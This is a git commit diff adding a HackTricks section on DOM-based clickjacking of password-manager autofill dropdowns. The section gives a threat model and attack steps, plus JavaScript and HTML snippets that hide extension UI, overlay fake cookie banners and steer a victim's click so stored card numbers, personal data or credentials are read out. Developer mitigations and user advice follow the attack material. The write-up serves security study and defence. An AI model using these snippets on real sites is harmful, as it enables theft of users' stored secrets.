Add content from: DOM-based Extension Clickjacking

This commit is contained in:
HackTricks News Bot 2025-10-01 15:57:57 +00:00
parent 3b40ab6ab7
commit 8057a189ac
3 changed files with 144 additions and 7 deletions

View File

@ -95,10 +95,140 @@ Check the following page to check how a **XSS** in a browser extension was chain
browext-xss-example.md
{{#endref}}
---
## DOM-based Extension Clickjacking (Password Manager Autofill UIs)
Classic extension clickjacking abuses misconfigured `web_accessible_resources` to iframe privileged HTML and drive user clicks. A newer class, DOM-based extension clickjacking, targets the autofill dropdowns injected by password managers directly into the page DOM and uses CSS/DOM tricks to hide or occlude them while keeping them clickable. One coerced click can select a stored item and fill attacker-controlled inputs with sensitive data.
### Threat model
- Attacker controls a webpage (or achieves XSS/subdomain takeover/cache poisoning on a related domain).
- Victim has a password manager extension installed and unlocked (some autofill even when nominally locked).
- At least one user click is induced (overlayed cookie banners, dialogs, CAPTCHAs, games, etc.).
### Attack flow (manual autofill)
1. Inject an invisible but focusable form (login/PII/credit-card fields).
2. Focus an input to summon the extensions autofill dropdown near the field.
3. Hide or occlude the extension UI while keeping it interactable.
4. Align a believable control under the hidden dropdown to coerce a click that selects an item.
5. Read filled values from the attacker form and exfiltrate.
### How to hide the autofill UI
- Extension element
- Root element opacity (generic):
```js
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
```
- Child inside open ShadowRoot (dynamic tag, hide internal iframe):
```js
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
```
- Parent element
- BODY/HTML opacity tricks to make extension UI invisible while page looks normal (e.g., screenshot background):
```js
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'
// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'
function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
```
- Overlay
- Partial overlay: occlude everything but a few pixels so the dropdown remains clickable (ensure attacker overlay is last in DOM with max z-index, or use Top Layer).
- Full overlay using pointer-events:none so clicks pass through to the hidden dropdown; keep it persistent with the Popover API:
```html
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>
```
### Positioning the victim click
- Fixed placement: position the hidden dropdown under a believable control such as “Accept cookies”, “Close”, or a CAPTCHA checkbox.
- Follow-mouse: move the focused input under the cursor so the dropdown tracks it; refocus periodically so a single click anywhere selects an item:
```js
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})
```
### Universal targeting and state awareness
A single script can detect which managers UI is present (root tag names, attributes) and whether its locked/unlocked, then choose the right hiding method and timing. This avoids futile attempts when the manager is locked.
### Impact and scenarios
- Attacker-controlled site: one coerced click can exfiltrate credit card data (number/expiry/CVC) and personal info (name, email, phone, address, DOB) that arent domain-scoped.
- Trusted site with XSS/subdomain takeover/cache poisoning: multi-click theft of credentials (username/password) and TOTP, because many managers autofill across related subdomains/parent domains (e.g., `*.example.com`).
- Passkeys: if the RP doesnt bind WebAuthn challenges to the session, XSS can intercept the signed assertion; DOM-based clickjacking hides the passkey prompt to elicit the users confirming click.
### Limitations
- Requires at least one user click and decent pixel alignment (realistic overlays make clicks easy to solicit).
- Auto-lock/logout reduces windows of exploitation; some managers still autofill while “locked”.
### Extension developer mitigations
- Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
- Resist CSS tampering: prefer Closed Shadow DOM and monitor with `MutationObserver` for suspicious style changes on UI roots.
- Detect hostile overlays before filling: enumerate other top-layer/popover elements, temporarily disable `pointer-events:none`, and use `elementsFromPoint()` to detect occlusion; close UI if overlays exist.
- Detect suspicious `<body>`/`<html>` opacity or style changes both pre- and post-render.
- For iframe-based issues: scope MV3 `web_accessible_resources` `matches` narrowly and avoid exposing HTML UIs; for unavoidable HTML, serve `X-Frame-Options: DENY` or `Content-Security-Policy: frame-ancestors 'none'`.
### User recommendations
- Keep extensions updated; consider disabling manual autofill and prefer copy/paste or toolbar flows.
- In Chromium, restrict site access to “on click” per site.
- Restrict autofill to exact-URL matches to limit subdomain abuse.
### Notes
- NordPass (Dec 2023) previously allowed iframing its full UI; multiple guided clicks could expose vault items. Mis-scoped `web_accessible_resources` was the root cause (fixed).
- Multiple managers were affected by DOM-based variants historically; many have shipped mitigations by now. Always test against the current version.
## References
- [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
- [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
- [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/)
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -112,6 +112,16 @@ A code example can be found in [this page](https://www.paulosyibelo.com/2024/12/
> [!WARNING]
> This technique allows to trick the user to click on 1 place in the victim page bypassing every protection against clickjacking. So the attacker needs to find **sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions**.
### Browser extensions: DOM-based autofill clickjacking
Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Password managers render autofill dropdowns near focused inputs; by focusing an attacker-controlled field and hiding/occluding the extensions dropdown (opacity/overlay/top-layer tricks), a coerced user click can select a stored item and fill sensitive data into attacker-controlled inputs. This variant requires no iframe exposure and works entirely via DOM/CSS manipulation.
- For concrete techniques and PoCs see:
-
{{#ref}}
browser-extension-pentesting-methodology/browext-clickjacking.md
{{#endref}}
## Strategies to Mitigate Clickjacking
### Client-Side Defenses
@ -212,8 +222,6 @@ if (top !== self) {
- [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
- [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
- [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con
> [!TIP]
>
> - **How can I cite a page of HackTricks?**
> - **How can I a page of HackTricks?**
As long as the link **of** the page(s) where you took the information from appears it's enough.\
If you need a bibtex you can use something like:
@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the
{{#include ../banners/hacktricks-training.md}}